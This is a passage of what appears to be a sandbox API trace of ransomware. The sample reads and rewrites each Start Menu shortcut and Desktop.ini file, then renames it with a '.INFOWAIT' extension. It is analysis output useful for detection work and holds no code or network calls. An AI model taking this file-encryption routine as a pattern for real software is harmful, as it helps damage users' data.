Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" [0146.783] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini.INFOWAIT" [0146.783] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\desktop.ini.infowait")) returned 1 [0146.784] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.785] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.785] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.785] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.786] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x54e [0146.786] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.787] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.787] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x54e, lpOverlapped=0x0) returned 1 [0146.789] VirtualAlloc (lpAddress=0x0, dwSize=0x54e, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.789] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.789] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x54e, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x54e, lpOverlapped=0x0) returned 1 [0146.789] CloseHandle (hObject=0xad0) returned 1 [0146.789] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" [0146.789] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk.INFOWAIT" [0146.789] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Ease of Access.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\ease of access.lnk.infowait")) returned 1 [0146.790] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.791] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.791] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.791] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.791] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ea [0146.791] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.791] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.791] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ea, lpOverlapped=0x0) returned 1 [0146.793] VirtualAlloc (lpAddress=0x0, dwSize=0x4ea, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.793] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.794] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ea, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ea, lpOverlapped=0x0) returned 1 [0146.794] CloseHandle (hObject=0xad0) returned 1 [0146.794] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" [0146.794] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk.INFOWAIT" [0146.794] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Magnify.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\magnify.lnk.infowait")) returned 1 [0146.794] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.795] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.795] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.795] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.797] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4ee [0146.797] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.797] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.797] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4ee, lpOverlapped=0x0) returned 1 [0146.799] VirtualAlloc (lpAddress=0x0, dwSize=0x4ee, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.799] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.799] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4ee, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4ee, lpOverlapped=0x0) returned 1 [0146.799] CloseHandle (hObject=0xad0) returned 1 [0146.799] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" [0146.799] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk.INFOWAIT" [0146.799] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\Narrator.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\narrator.lnk.infowait")) returned 1 [0146.800] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.801] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.801] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.801] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.801] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4e2 [0146.801] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.801] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.801] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4e2, lpOverlapped=0x0) returned 1 [0146.803] VirtualAlloc (lpAddress=0x0, dwSize=0x4e2, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.803] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.804] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4e2, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4e2, lpOverlapped=0x0) returned 1 [0146.804] CloseHandle (hObject=0xad0) returned 1 [0146.804] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" [0146.804] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk.INFOWAIT" [0146.804] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\On-Screen Keyboard.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility\\on-screen keyboard.lnk.infowait")) returned 1 [0146.804] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.805] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.805] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.805] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.806] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x500 [0146.806] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.806] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.806] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x500, lpOverlapped=0x0) returned 1 [0146.808] VirtualAlloc (lpAddress=0x0, dwSize=0x500, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.808] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.808] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x500, lpOverlapped=0x0) returned 1 [0146.808] CloseHandle (hObject=0xad0) returned 1 [0146.808] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" [0146.808] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk.INFOWAIT" [0146.808] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Command Prompt.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\command prompt.lnk.infowait")) returned 1 [0146.809] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.809] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.810] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.810] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.810] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a6 [0146.810] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.811] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.811] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x2a6, lpOverlapped=0x0) returned 1 [0146.812] VirtualAlloc (lpAddress=0x0, dwSize=0x2a6, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.812] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.812] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x2a6, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x2a6, lpOverlapped=0x0) returned 1 [0146.812] CloseHandle (hObject=0xad0) returned 1 [0146.812] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" [0146.813] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.INFOWAIT" [0146.813] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Desktop.ini.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\desktop.ini.infowait")) returned 1 [0146.814] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.814] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.815] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.815] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0146.815] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x518 [0146.815] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0146.815] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.815] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x518, lpOverlapped=0x0) returned 1 [0146.817] VirtualAlloc (lpAddress=0x0, dwSize=0x518, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0146.817] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0146.817] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x518, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x518, lpOverlapped=0x0) returned 1 [0146.817] CloseHandle (hObject=0xad0) returned 1 [0146.817] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" [0146.817] lstrcatW (in: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.INFOWAIT") returned="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.INFOWAIT" [0146.817] MoveFileW (lpExistingFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk"), lpNewFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Notepad.lnk.INFOWAIT" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\notepad.lnk.infowait")) returned 1 [0146.818] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.819] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0146.819] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0146.819] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Run.lnk" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\run.lnk"), dwDesiredAccess=0xc0000000, 